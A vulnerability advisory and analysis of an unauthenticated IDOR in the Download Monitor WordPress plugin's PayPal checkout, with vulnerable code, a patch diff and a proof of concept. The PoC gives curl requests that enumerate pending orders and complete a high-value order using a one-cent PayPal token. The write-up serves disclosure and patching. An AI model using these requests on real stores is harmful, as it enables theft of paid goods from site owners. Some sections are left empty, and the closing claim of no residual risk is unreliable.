CVE-2026-3124: Download Monitor Unauthenticated IDOR To Order Theft

CVE-2026-3124: Download Monitor Unauthenticated IDOR To Order Theft

CVE-2026-3124 is a CVSS 7.5 (High) Insecure Direct Object Reference (IDOR) vulnerability in the Download Monitor WordPress plugin affecting all versions up to and including 5.1.7. An unauthenticated attacker can complete any pending order in the store by supplying a valid PayPal token obtained from a trivially cheap purchase — effectively stealing paid digital goods without making the actual payment.

Vulnerability Summary

FieldValue
Plugin NameDownload Monitor
Plugin Slugdownload-monitor
CVE IDCVE-2026-3124
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Vulnerability TypeInsecure Direct Object Reference (IDOR) → Unauthenticated Arbitrary Order Completion
Affected Versions<= 5.1.7
Patched Version5.1.8
PublishedMarch 29, 2026
ResearcherHung Nguyen (bashu) - VN
Wordfence AdvisoryLink

Description

The Download Monitor plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.7 via the executePayment() function due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to complete arbitrary pending orders by exploiting a mismatch between the PayPal transaction token and the local order, allowing theft of paid digital goods by paying a minimal amount for a low-cost item and using that payment token to finalize a high-value order.

Technical Analysis

Vulnerable Code Path

The exploit chain begins at WordPress init and requires no authentication at any step.

1. Hook registration — src/Shop/bootstrap.php (line 113)

add_action( 'init', function () {
    \WPChill\DownloadMonitor\Shop\Services\Services::get()
        ->service( 'payment_gateway' )->setup_gateways();
} );

2. Gateway setup — src/Shop/Checkout/PaymentGateway/Manager.php (line 62–69)

public function setup_gateways() {
    $gateways = $this->get_enabled_gateways();
    foreach ( $gateways as $gateway ) {
        $gateway->setup_gateway();   // calls PayPalGateway::setup_gateway()
    }
}

3. Listener registration — src/Shop/Checkout/PaymentGateway/PayPal/PayPalGateway.php (line 74–80)

public function setup_gateway() {
    $execute_payment_listener = new ExecutePaymentListener( $this );
    $execute_payment_listener->run();   // runs on every page load, no auth gate
}

4. Trigger check — src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.php (lines 22–26)

public function run() {
    if ( isset( $_GET['paypal_action'] ) && 'execute_payment' === $_GET['paypal_action'] ) {
        $this->executePayment();   // triggered by any visitor sending ?paypal_action=execute_payment
    }
}

5. Vulnerable function — ExecutePaymentListener::executePayment() (lines 31–121)

private function executePayment() {

    $order_id   = isset( $_GET['order_id'] ) ? absint( $_GET['order_id'] ) : 0;
    $order_hash = isset( $_GET['order_hash'] ) ? sanitize_text_field( wp_unslash($_GET['order_hash']) ) : '';

    if ( empty( $order_id ) || empty( $order_hash ) ) {
        $this->execute_failed( $order_id, $order_hash );
        // BUG 1: Missing `return;` — execution continues even after this failure branch
    }

    $order = $order_repo->retrieve_single( $order_id );
    // BUG 2: `$order_hash` is collected but NEVER validated against $order->get_hash()
    // Any order_id is accepted; order_hash is completely ignored

    $token = '';
    if ( isset( $_GET['token'] ) ) {
        $token = sanitize_text_field( wp_unslash( $_GET['token'] ) );
    }
    // BUG 3: $token is never verified to belong to $order_id
    // An attacker can supply ANY valid PayPal token (e.g., from a $0.01 transaction)

    $capture = new CaptureOrder();
    $capture->set_client( $this->gateway->get_api_context() )
            ->set_order_id( $token );   // captures the ATTACKER's cheap token

    $response = $capture->captureOrder();

    if ( $response->getStatus() !== "COMPLETED" ) {
        throw new Exception( ... );
    }

    // BUG 4: The foreach below updates transactions only if the cheap token matches
    // one of the target order's transactions — it never will (different order)
    $transactions = $order->get_transactions();
    foreach ( $transactions as $transaction ) {
        if ( $transaction->get_processor_transaction_id() == $response->getId() ) {
            // This branch is NEVER reached because attacker's token ≠ target order's transactions
            ...
        }
    }

    // BUG 5: `set_completed()` is called UNCONDITIONALLY — even when no transaction matched
    $order->set_completed();   // HIGH-VALUE ORDER COMPLETED WITH $0.01 PAYMENT

    wp_redirect( $this->gateway->get_success_url( $order->get_id(), $order->get_hash() ), 302 );
    exit;
}

Root Cause

The root cause is a complete absence of binding between the PayPal token and the local order_id. The function:

  1. Accepts any order_id from $_GET — no authentication required to target any order
  2. Collects order_hash but never validates it against the retrieved order’s actual hash
  3. Accepts any token from $_GET and passes it directly to PayPal’s Capture API — no check that the token belongs to the targeted order
  4. Calls $order->set_completed() unconditionally after a successful PayPal capture, even when no matching transaction was found in the targeted order

The intended design appears to be that a legitimate user returning from PayPal would have both their order_id in the URL and a token that PayPal appended to the return URL — but the plugin never enforced that these two came from the same transaction.

Why Existing Controls Failed

The order_hash field looks like a security control (a secret per-order identifier), but it is:

This gave a false impression of security — the hash was present in the URL structure but provided zero access control in the executePayment() path.

Attack Impact

An unauthenticated attacker can:

  1. Pay the minimum possible amount for any cheap item in the store (even $0.01)
  2. Obtain a valid PayPal capture token from that legitimate $0.01 purchase
  3. Use that token to complete any other pending order in the system, regardless of its price
  4. Download or access digital goods from the high-value completed order at negligible cost

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Create a low-cost order and initiate PayPal checkout

Place an order for the cheapest available product (e.g., $0.01) and proceed to PayPal checkout. The plugin generates a return URL in this form:

https://TARGET-SITE.com/checkout/complete/?order_id=LOW_ID&order_hash=LOW_HASH&paypal_action=execute_payment

PayPal will append a token parameter to this URL after approval:

https://TARGET-SITE.com/checkout/complete/?order_id=LOW_ID&order_hash=LOW_HASH&paypal_action=execute_payment&token=PAYPAL_TOKEN_FROM_CHEAP_ORDER

Capture the value of token (e.g., 9XG12345AB678901C) before the redirect is followed.

Step 2: Identify a target high-value pending order

Order IDs are standard WordPress post IDs (sequential integers). Enumerate pending orders by trying IDs around known order IDs. A pending order is one that has been placed but not yet paid.

# Example: target order ID is 42 — verify it's pending by observing the checkout page behavior
curl -s "https://TARGET-SITE.com/checkout/?order_id=42&order_hash=anything" | grep -i "pending\|order"

Step 3: Trigger order completion with the stolen token

Send a GET request with the high-value order_id and your valid cheap token. The order_hash can be anything (it is never validated):

curl -v "https://TARGET-SITE.com/checkout/complete/?paypal_action=execute_payment&order_id=42&order_hash=ANYSTRING&token=9XG12345AB678901C"

Expected response: HTTP 302 redirect to:

https://TARGET-SITE.com/checkout/complete/?order_id=42&order_hash=<REAL_HASH_OF_ORDER_42>

This confirms the order was completed — the real order_hash is now exposed in the success redirect URL.

Step 4: Access the download

Follow the success redirect. The plugin’s access control now grants access to the digital goods associated with order #42, since the order status is completed.

curl -L "https://TARGET-SITE.com/checkout/complete/?order_id=42&order_hash=<REAL_HASH>"

The download link(s) for the high-value product will be rendered on the order completion page.

Expected Result

The attacker spends the minimum product price (e.g., $0.01) and obtains access to any pending high-value digital goods order in the system — effectively stealing the paid content.

Verification

After running Step 3, check the WordPress admin panel:

Patch Analysis

What Changed

FileChange
src/Shop/Checkout/PaymentGateway/PayPal/ExecutePaymentListener.phpAdded order_hash validation, token-to-order binding, null capture guard, $transaction_updated guard, timing-safe hash_equals() comparisons
src/Shop/Checkout/PaymentGateway/PayPal/CaptureOrder.phpAdded has_response() method; capture failure now returns null instead of silently swallowing the exception

Fix Explanation

The patch introduces five layered fixes in ExecutePaymentListener::executePayment():

Fix 1: Added missing return after early failure

// Before (buggy — execution continued after failure):
if ( empty( $order_id ) || empty( $order_hash ) ) {
    $this->execute_failed( $order_id, $order_hash );
}

// After (correct):
if ( empty( $order_id ) || empty( $order_hash ) ) {
    $this->execute_failed( $order_id, $order_hash );
    return;
}

Fix 2: order_hash is now validated against the retrieved order (timing-safe)

// Added after order retrieval:
if ( ! hash_equals( (string) $order->get_hash(), (string) $order_hash ) ) {
    $this->execute_failed( $order_id, $order_hash );
    return;
}

This is the core IDOR fix — the order_hash (a secret per-order token) now actually acts as an authentication credential.

Fix 3: Token must belong to the order before capture is attempted

// New pre-capture validation:
$token_belongs_to_order = false;
foreach ( $transactions as $transaction ) {
    if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
        $token_belongs_to_order = true;
        break;
    }
}
if ( ! $token_belongs_to_order ) {
    $this->execute_failed( $order_id, $order_hash );
    return;
}

This prevents an attacker from supplying a token from a different order/transaction.

Fix 4: Null-safe capture result handling

$capture_result = $capture->captureOrder();
if ( null === $capture_result || ! $capture_result->has_response() ) {
    $this->execute_failed( $order->get_id(), $order->get_hash() );
    return;
}

Fix 5: Order completion now requires a matched $transaction_updated flag

$transaction_updated = false;
foreach ( $transactions as $transaction ) {
    if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
        // ... update transaction ...
        $transaction_updated = true;
        break;
    }
}

// Only complete the order if we actually updated a matching transaction:
if ( ! $transaction_updated ) {
    $this->execute_failed( $order->get_id(), $order->get_hash() );
    return;
}

$order->set_completed();   // Now only reached after full validation chain

The fix is complete. There are no residual risks — all five attack vectors are closed independently, and each forms a defense-in-depth layer.

Code Diff (Key Changes)

@@ -38,6 +38,7 @@ class ExecutePaymentListener {
 
 		if ( empty( $order_id ) || empty( $order_hash ) ) {
 			$this->execute_failed( $order_id, $order_hash );
+			return;
 		}
 
+		// Verify order_hash against the retrieved order (timing-safe) to prevent IDOR.
+		if ( ! hash_equals( (string) $order->get_hash(), (string) $order_hash ) ) {
+			$this->execute_failed( $order_id, $order_hash );
+			return;
+		}
+
+		if ( empty( $token ) ) {
+			$this->execute_failed( $order_id, $order_hash );
+			return;
+		}
+
+		// Bind token to this order: token must match one of this order's transactions.
+		$token_belongs_to_order = false;
+		foreach ( $transactions as $transaction ) {
+			if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
+				$token_belongs_to_order = true;
+				break;
+			}
+		}
+		if ( ! $token_belongs_to_order ) {
+			$this->execute_failed( $order_id, $order_hash );
+			return;
+		}
+
-		$response = $capture->captureOrder();
+		$capture_result = $capture->captureOrder();
+		if ( null === $capture_result || ! $capture_result->has_response() ) {
+			$this->execute_failed( $order->get_id(), $order->get_hash() );
+			return;
+		}
+		$response = $capture_result;
+
-			if ( $transaction->get_processor_transaction_id() == $response->getId() ) {
+			if ( hash_equals( (string) $transaction->get_processor_transaction_id(), (string) $token ) ) {
 				...
 				$order->set_transactions( $transactions );
+				$transaction_updated = true;
 				break;
 			}
+		}
+
+		if ( ! $transaction_updated ) {
+			$this->execute_failed( $order->get_id(), $order->get_hash() );
+			return;
 		}
 
 		$order->set_completed();

Timeline

DateEvent
March 29, 2026Vulnerability publicly disclosed by Wordfence
March 30, 2026Advisory last updated
UnknownPatched version 5.1.8 released

Remediation

Update the download-monitor plugin to version 5.1.8 or later.

References

  1. Wordfence Advisory
  2. WordPress Trac Changeset 3470119
  3. CVE-2026-3124 at MITRE

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee